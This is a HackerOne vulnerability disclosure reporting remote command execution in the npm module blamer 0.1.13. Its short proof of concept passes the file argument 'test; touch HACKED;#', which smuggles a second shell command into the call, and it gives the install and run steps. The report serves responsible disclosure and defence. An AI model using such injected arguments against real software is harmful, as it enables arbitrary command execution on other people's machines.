Node.js third-party modules: [blamer] RCE via insecure command formatting

ID H1:772448
Type hackerone
Reporter mik317
Modified 2020-03-10T09:38:42


I would like to report a RCE issue in the blamer module. It allows to execute arbitrary commands remotely inside the victim's PC


module name: blamer version: 0.1.13 npm page:

Module Description

> Blamer is a tool for get information about author of code from version control system. Supports git and subversion.

Module Stats

[~1800] downloads in the last day [12,910] downloads in the last week [~52k] downloads in the last month

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here:

Steps To Reproduce:

  1. Create the following PoC file:

```js // poc.js var Blamer = require('blamer'); var blamer = new Blamer('git'); blamer.blameByFile('poc.js', 'test; touch HACKED;#');

`` 1. Check there aren't files calledHACKED` 1. Execute the following commands in another terminal:

bash npm i blamer # Install affected module node poc.js # Run the PoC 1. Recheck the files: now HACKED has been created :) {F681902}


> Don't format commands using insecure user's inputs :)

Supporting Material/References:

  • [NODEJS VERSION]: 10.16.3
  • [NPM VERSION]: 6.0.9

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]


RCE via command formatting on blamer